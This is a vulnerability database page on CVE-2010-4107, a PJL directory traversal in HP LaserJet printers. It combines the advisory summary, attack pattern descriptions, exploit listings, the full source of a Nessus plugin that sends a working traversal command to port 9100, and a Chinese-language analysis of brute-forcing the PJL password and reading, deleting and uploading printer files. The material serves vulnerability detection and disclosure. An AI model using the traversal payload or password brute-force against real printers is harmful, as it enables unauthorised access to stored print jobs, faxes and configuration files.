Vulnerabilities > CVE-2010-4107 - Path Traversal vulnerability in HP products

047910
CVSS 7.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
NONE
Availability impact
NONE
network
low complexity
hp
CWE-22
nessus
exploit available

Summary

The default configuration of the PJL Access value in the File System External Access settings on HP LaserJet MFP printers, Color LaserJet MFP printers, and LaserJet 4100, 4200, 4300, 5100, 8150, and 9000 printers enables PJL commands that use the device's filesystem, which allows remote attackers to read arbitrary files via a command inside a print job, as demonstrated by a directory traversal attack.

Vulnerable Configurations

Part Description Count
Hardware
Hp
8

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionHP JetDirect PJL Query Execution. CVE-2010-4107. Remote exploit for hardware platform
    idEDB-ID:17636
    last seen2016-02-02
    modified2011-08-07
    published2011-08-07
    reporterMyo Soe
    sourcehttps://www.exploit-db.com/download/17636/
    titleHP JetDirect PJL Query Execution
  • descriptionHP Laser Jet - JavaScript Persistent XSS via PJL Directory Traversal. CVE-2010-4107. Webapps exploit for hardware platform
    idEDB-ID:32990
    last seen2016-02-03
    modified2014-04-23
    published2014-04-23
    reporter@0x00string
    sourcehttps://www.exploit-db.com/download/32990/
    titleHP Laser Jet - JavaScript Persistent XSS via PJL Directory Traversal
  • descriptionHP JetDirect PJL Interface Universal Path Traversal. CVE-2010-4107. Remote exploit for hardware platform
    idEDB-ID:17635
    last seen2016-02-02
    modified2011-08-07
    published2011-08-07
    reporterMyo Soe
    sourcehttps://www.exploit-db.com/download/17635/
    titleHP JetDirect PJL Interface Universal Path Traversal
  • descriptionHP LaserJet Directory Traversal in PJL Interface. CVE-2010-4107. Remote exploit for hardware platform
    fileexploits/hardware/remote/15631.txt
    idEDB-ID:15631
    last seen2016-02-01
    modified2010-11-29
    platformhardware
    port
    published2010-11-29
    reportern.runs AG
    sourcehttps://www.exploit-db.com/download/15631/
    titleHP LaserJet Directory Traversal in PJL Interface
    typeremote

Nessus

NASL familyGeneral
NASL idHP_LASERJET_HPSBPI02575_DIRECTORY_TRAVERSAL.NASL
descriptionThe remote host
last seen2020-06-01
modified2020-06-02
plugin id69480
published2013-08-20
reporterThis script is Copyright (C) 2013-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/69480
titleHP LaserJet PJL Interface Directory Traversal (HPSBPI02575)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(69480);
  script_version("1.16");
  script_cvs_date("Date: 2018/11/15 20:50:22");

  script_cve_id("CVE-2010-4107");
  script_bugtraq_id(44882);
  script_xref(name:"EDB-ID", value:"15631");
  script_xref(name:"EDB-ID", value:"32990");
  script_xref(name:"IAVB", value:"2011-B-0001");

  script_name(english:"HP LaserJet PJL Interface Directory Traversal (HPSBPI02575)");
  script_summary(english:"Tries to list the root directory.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host's PJL interface fails to sanitize input to the 'name'
parameter of the 'fsdirlist' command before using it.

An attacker can leverage this issue using a directory traversal
sequence to view arbitrary files on the affected host within the
context of the PJL service. Information harvested may aid in launching
further attacks.");
  script_set_attribute(attribute:"solution", value:
"Set a PJL password or disable file system access via the PJL
interface.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:TF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:T/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  # http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?75a7707f");
  # http://web.archive.org/web/20131008040204/http://h20000.www2.hp.com:80/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bf0008ef");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:hp:laserjet");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2013-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("pjl_detect.nasl");
  script_require_ports("Services/jetdirect", 9100);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");

function pjl_send_recv(cmd, socket)
{
  local_var crlf, req, res, tag;

  tag = '\x1b%-12345X';
  crlf = '\r\n';

  req = tag + "@PJL " + cmd + crlf + tag + crlf;
  send(socket:socket, data:req);

  res = recv(socket:socket, length:1024);
  if (isnull(res))
    return NULL;

  return res;
}

# Find the ports that we expect to be able to talk to.
port = get_service(svc:"jetdirect", default:9100, exit_on_fail:TRUE);

# Setup the connection.
soc = open_sock_tcp(port);
if (!soc)
  audit(AUDIT_SOCK_FAIL, port, "TCP");

# Attempt the directory traversal.
path = "\..\..\..\";
cmd = 'FSDIRLIST NAME="0:' + path + '" ENTRY=1 COUNT=999999';
res = pjl_send_recv(socket:soc, cmd:cmd);
close(soc);

# Check if the response indicates that we were successful.
if (
  isnull(res) ||
  ".. TYPE=DIR" >!< res ||
  "etc TYPE=DIR" >!< res
) exit(0, "The PJL service listening on port " + port + " is unaffected.");

# Report our findings.
report = NULL;
bar = crap(data:"-", length:30);
bar = bar + " snip " + bar;

res = str_replace(find:raw_string(0x0C), replace:'', string:res);
res = str_replace(find:'\r', replace:'', string:res);
res = str_replace(find:'\n', replace:'\n  ', string:res);
res = chomp(res);

report +=
  '\nNessus was able to retrieve a directory listing, seen in' +
  '\nthe response below :' +
  '\n' +
  '\n  ' + bar +
  '\n  ' + res +
  '\n  ' + bar +
  '\n';

security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);

Packetstorm

Seebug

  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:86247
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-86247
    titleHP Laser Jet - JavaScript Persistent XSS via PJL Directory Traversal
  • bulletinFamilyexploit
    description<body><h1>漏洞分析</h1><p></p> <p><span style="font-size: large">&nbsp;密码爆破</span></p> <p style="padding-left: 30px">惠普官方已经在2010年11月的安全通告上发布了漏洞解决办法,用户可以通过禁用 PJL 的文件系统访问权限或重新设置 PJL 密码来解决此问题。但 PJL 的安全密码是范围1-65535的数字,密码认证次数和频率并没有限制,远程攻击者可以通过爆破可以将 PJL 的密码安全保护禁用,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。</p> <p style="padding-left: 30px">使用以下 Python3 程序对系统进行漏洞检测:</p> <p></p><!-- Crayon Syntax Highlighter v2.7.1 --> <!-- [Format Time: 0.0088 seconds] --> <p></p> <p style="padding-left: 30px">如果打印出“PoC OK!”,说明系统存在漏洞。PoC 验证脚本主要分为两个部分。第一部分发送重置密码的PJL指令进行密码爆破,每进行30次密码尝试后发送一次查询当前密码保护的状态的 PJL 指令,直到查询到密码保护被关闭即为爆破成功。爆破过程如图1所示,破解密码过程中返回打印机型号和PJL报文信息。</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/1.png"><img class="aligncenter wp-image-2985" src="http://blog.knownsec.com/wp-content/uploads/2015/08/1.png" alt="1" width="700" height="169"></a></p> <p style="text-align: center">图1 Python3脚本爆破过程</p> <p></p> <p style="padding-left: 30px">第二部分发送查询磁盘文件的 PJL 指令,如果指令能够正确获取到目录,则 PJL 具有文件系统的访问权限,如图2所示,即存在漏洞,PoC 验证完成。</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/2.png"><img class="aligncenter wp-image-2986" src="http://blog.knownsec.com/wp-content/uploads/2015/08/2.png" alt="2" width="700" height="128"></a></p> <p style="text-align: center">图2 Python3进行PoC验证</p> <p> <span style="font-size: large">打印机信息泄露</span></p> <p style="padding-left: 30px">惠普打印机 File System External Access 的默认设置允许 PJL 命令访问该设备的文件系统。远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作,截图如下:</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/3.png"><img class="aligncenter wp-image-2987" src="http://blog.knownsec.com/wp-content/uploads/2015/08/3-300x141.png" alt="3" width="700" height="329"></a></p> <p style="text-align: center">图3 连接远程打印机并遍历目录</p> <p></p> <p style="padding-left: 30px">进入打印机后台,读取目录后,可以进行上传、下载和删除文件的操作,截图如下:</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/4.png"><img class="aligncenter wp-image-2988" src="http://blog.knownsec.com/wp-content/uploads/2015/08/4-300x109.png" alt="4" width="700" height="254"></a></p> <p style="text-align: center">图4 下载打印机内部文档</p> <p></p> <p style="text-align: center"><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/5.png"><img class="alignnone wp-image-2989" src="http://blog.knownsec.com/wp-content/uploads/2015/08/5-300x183.png" alt="5" width="700" height="427"></a></p> <p style="text-align: center">图5 删除打印机内文件并进行本地上传</p> <p> <span style="font-size: xx-large">ZoomEye 分析概要</span></p> <p style="padding-left: 30px">通过网络空间搜索引擎 ZoomEye 进行全网搜索,得出目前全球10393台存在文件系统的惠普打印机中受到该漏洞影响的打印机有3625台,占比34.88%。</p> <p><span style="font-size: x-large">受漏洞影响设备型号全球排名 TOP 10</span></p> <p style="padding-left: 30px">受该漏洞影响打印机中 HP LaserJet 4250有424台(11.7%),HP LaserJet 4050有366台(10.1%),HP Color LaserJet 5550有267台(7.3%)。其中 HP LaserJet 系列打印机占所有受影响设备的73.9%。</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/6.png"><img class="aligncenter wp-image-2990" src="http://blog.knownsec.com/wp-content/uploads/2015/08/6-300x154.png" alt="6" width="700" height="360"></a></p> <p style="text-align: center">图6 受漏洞影响设备型号全球排名 TOP 10</p> <p> <span style="font-size: x-large">&nbsp;受漏洞影响国家全球排名 TOP 10</span></p> <p style="padding-left: 30px">受该漏洞影响的打印机数量全球排名前三分别是:<br> 1、美国2315台,占比63.9%<br> 2、韩国410台,占比11.3%<br> 3、中国302台,占比8.3%</p> <p><a href="http://blog.knownsec.com/wp-content/uploads/2015/08/7.png"><img class="aligncenter wp-image-2991" src="http://blog.knownsec.com/wp-content/uploads/2015/08/7-300x155.png" alt="7" width="700" height="361"></a></p> <p style="text-align: center">图7 受漏洞影响国家全球排名 TOP 10</p> <p> <span style="font-size: xx-large"> </span></p></body>
    idSSV:70298
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-70298
    titleHP LaserJet Directory Traversal in PJL Interface